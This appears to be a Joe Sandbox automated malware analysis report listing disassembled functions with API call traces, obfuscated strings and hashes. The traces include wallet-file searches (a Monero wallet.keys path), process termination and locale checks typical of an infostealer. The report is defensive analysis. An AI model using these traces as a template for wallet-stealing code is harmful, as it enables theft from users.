                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
                                    • String ID: \*.*
                                    • API String ID: 2325840235-1173974218
                                    • Opcode ID: 019a7badc4dbe13ee83116cbd3af6bd2a4adf53d1b8118a361c24bdf185a5588
                                    • Instruction ID: d0dfb70e22c34bf17a06cf37335d17d9b464f72cc139291c57f2cb53c1ca56de
                                    • Opcode Fuzzy Hash: 019a7badc4dbe13ee83116cbd3af6bd2a4adf53d1b8118a361c24bdf185a5588
                                    • Instruction Fuzzy Hash: 00F1CC729141589FCB25FB61CDA6EEE7339BF24300F5145EAA50A62091EF307B88DF52
                                    Function 011267FA Relevance: 14.2, Strings: 10, Instructions: 1693COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: !!w}$1 |G$63{]$BP:$EVoW$Hm8-$K\.$[jV$_7$c?s
                                    • API String ID: 0-1415483498
                                    • Opcode ID: 62379f660c1bd35f639156f29dbaec0a0c5022a44969c3ec10a13140eaae0901
                                    • Instruction ID: edbac9d271f32005c690c4577fff252cc68a5060104de88c1cc1aebfedeeb934
                                    • Opcode Fuzzy Hash: 62379f660c1bd35f639156f29dbaec0a0c5022a44969c3ec10a13140eaae0901
                                    • Instruction Fuzzy Hash: 5DB25AF3A0C2149FE3046E2DEC8567AFBD9EF94720F1A463DEAC4C7744EA3558058692
                                    Function 00CDDB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CF15A8,00CF0BAF), ref: 00CDDBEB
                                    • StrCmpCA.SHLWAPI(?,00CF15AC), ref: 00CDDC33
                                    • StrCmpCA.SHLWAPI(?,00CF15B0), ref: 00CDDC49
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CDDECC
                                    • FindClose.KERNEL32(000000FF), ref: 00CDDEDE
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                    • String ID:
                                    • API String ID: 3334442632-0
                                    • Opcode ID: df7f9ae1cc638b2040e5492f8dce5c3a22ef64a5866379936abedf56585412f5
                                    • Instruction ID: f0e8ffa81c49528e1b2779b11a923f5ca93ec1e1aa7a0d7cc4ee27f675d24c78
                                    • Opcode Fuzzy Hash: df7f9ae1cc638b2040e5492f8dce5c3a22ef64a5866379936abedf56585412f5
                                    • Instruction Fuzzy Hash: FA915472A102489FCB14FBB1ED96DED737DAF94300F014669F90756181EE34AB08EB92
                                    Function 00CE98E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00CE9905
                                    • Process32First.KERNEL32(00CD9FDE,00000128), ref: 00CE9919
                                    • Process32Next.KERNEL32(00CD9FDE,00000128), ref: 00CE992E
                                    • StrCmpCA.SHLWAPI(?,00CD9FDE), ref: 00CE9943
                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CE995C
                                    • TerminateProcess.KERNEL32(00000000,00000000), ref: 00CE997A
                                    • CloseHandle.KERNEL32(00000000), ref: 00CE9987
                                    • CloseHandle.KERNEL32(00CD9FDE), ref: 00CE9993
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
                                    • String ID:
                                    • API String ID: 2696918072-0
                                    • Opcode ID: 181aa675dcd041d6cc5fd5f3825d5664cb59cc11219993519bc1e55a60794d84
                                    • Instruction ID: 20dc6a91c0d9642edc1f8f6ed83876b1fd15e4cff1881f7a9ac18541ac1cca58
                                    • Opcode Fuzzy Hash: 181aa675dcd041d6cc5fd5f3825d5664cb59cc11219993519bc1e55a60794d84
                                    • Instruction Fuzzy Hash: 8F11ECB5A04318ABDB24EFA5DC48FDDB7B9EB49701F00458CF509A6250DB749B84DF90
                                    Function 01128337 Relevance: 11.6, Strings: 8, Instructions: 1614COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 'd~$6Vn$=?m?$D0iw$d}$d}$f+/`$g>
                                    • API String ID: 0-2495779603
                                    • Opcode ID: 2be8dac1c836cfca1c5705c942c3c13a4d13f0ed6f9a4d29f396927ac0a01ab5
                                    • Instruction ID: 517aa317037f27ecad1787afe8391510a7089935714b221006905d2f970bb31d
                                    • Opcode Fuzzy Hash: 2be8dac1c836cfca1c5705c942c3c13a4d13f0ed6f9a4d29f396927ac0a01ab5
                                    • Instruction Fuzzy Hash: 4BB217F3A0C204AFE3046E29EC8567AFBE5EF94320F1A453DEAC5C3744EA3558458697
                                    Function 00CE7D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • GetKeyboardLayoutList.USER32(00000000,00000000,00CF05B7), ref: 00CE7D71
                                    • LocalAlloc.KERNEL32(00000040,?), ref: 00CE7D89
                                    • GetKeyboardLayoutList.USER32(?,00000000), ref: 00CE7D9D
                                    • GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00CE7DF2
                                    • LocalFree.KERNEL32(00000000), ref: 00CE7EB2
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
                                    • String ID: /
                                    • API String ID: 3090951853-4001269591
                                    • Opcode ID: 95a261256444ea919e5738ace19887a29ee4583356e4caab010bcf50eb47226b
                                    • Instruction ID: e181436f734f4f35ac6e7723ca2ec26c8fe756ae0252577acede78c5c780b221
                                    • Opcode Fuzzy Hash: 95a261256444ea919e5738ace19887a29ee4583356e4caab010bcf50eb47226b
                                    • Instruction Fuzzy Hash: 38414B71940258AFCB24DB95DC99FEEB378FB54700F2042D9E00A62291DB742F84DFA1
                                    Function 00CDE530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00CF0D79), ref: 00CDE5A2
                                    • StrCmpCA.SHLWAPI(?,00CF15F0), ref: 00CDE5F2
                                    • StrCmpCA.SHLWAPI(?,00CF15F4), ref: 00CDE608
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CDECDF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
                                    • String ID: \*.*
                                    • API String ID: 433455689-1173974218
                                    • Opcode ID: 78916d83de9ed3ce87afc43a4618643fbb75be720a4a8612c57617f957093300
                                    • Instruction ID: a0d8c7836d38be3058bafb78184858b31123ebaf388689be108df06b889f5c08
                                    • Opcode Fuzzy Hash: 78916d83de9ed3ce87afc43a4618643fbb75be720a4a8612c57617f957093300
                                    • Instruction Fuzzy Hash: B3123D72A101589FCB18FB61DCA6EED7339AF54300F4145E9B50A66191EF307B48EF62
                                    Function 01130B4D Relevance: 9.2, Strings: 6, Instructions: 1729COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: _$!f]_$'+7$<\z?$z~?3$:~
                                    • API String ID: 0-2537662500
                                    • Opcode ID: fd2a295da57c5bd5c1c18d26288dac9079191447cd1ba0597d5ccf1b1cae14c8
                                    • Instruction ID: 65d6e7a0c4f21e07366a1213dbc682b9f634a193e39620d855f7b2dfdf1c1261
                                    • Opcode Fuzzy Hash: fd2a295da57c5bd5c1c18d26288dac9079191447cd1ba0597d5ccf1b1cae14c8
                                    • Instruction Fuzzy Hash: FDB24BF3A08204AFE3046E2DEC4567AFBE9EFD4760F1A463DE6C4C3744EA3558058696
                                    Function 01129EFA Relevance: 9.1, Strings: 6, Instructions: 1626COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ^}}$M-l_$P`w[$ZPQg$l;\[$s5
                                    • API String ID: 0-2977884793
                                    • Opcode ID: 7e720d26548ac8b77d2dda76b635a69ecb0ffa0bb8e415cb05e20f74b127da9e
                                    • Instruction ID: 3e6128b0a3c36a46c9427626a9475e9e73495950b5a4e87b78e40474b30d90d5
                                    • Opcode Fuzzy Hash: 7e720d26548ac8b77d2dda76b635a69ecb0ffa0bb8e415cb05e20f74b127da9e
                                    • Instruction Fuzzy Hash: 58B2E5F3A0C2049FE3046E2DEC8567AFBE9EF94620F1A493DE6C4C3744EA3558458697
                                    Function 0112345A Relevance: 8.9, Strings: 6, Instructions: 1372COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: *QP1$+Ui$1|Y'$E}>$bBu$~sI
                                    • API String ID: 0-743348690
                                    • Opcode ID: 842b50830df29c4b92a7138afe7a92f1559cc565139cc330d0b5fe6d2e8c71ed
                                    • Instruction ID: 9b92472daeaf90a34daa99f581c41f2e0ce5cfae9f8a67f17849aba10db47335
                                    • Opcode Fuzzy Hash: 842b50830df29c4b92a7138afe7a92f1559cc565139cc330d0b5fe6d2e8c71ed
                                    • Instruction Fuzzy Hash: 439219F3A082109FE3046E2DEC8577ABBE9EF94320F1A493DEAC4C7744E63558158697
                                    Function 01124C52 Relevance: 7.9, Strings: 5, Instructions: 1670COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
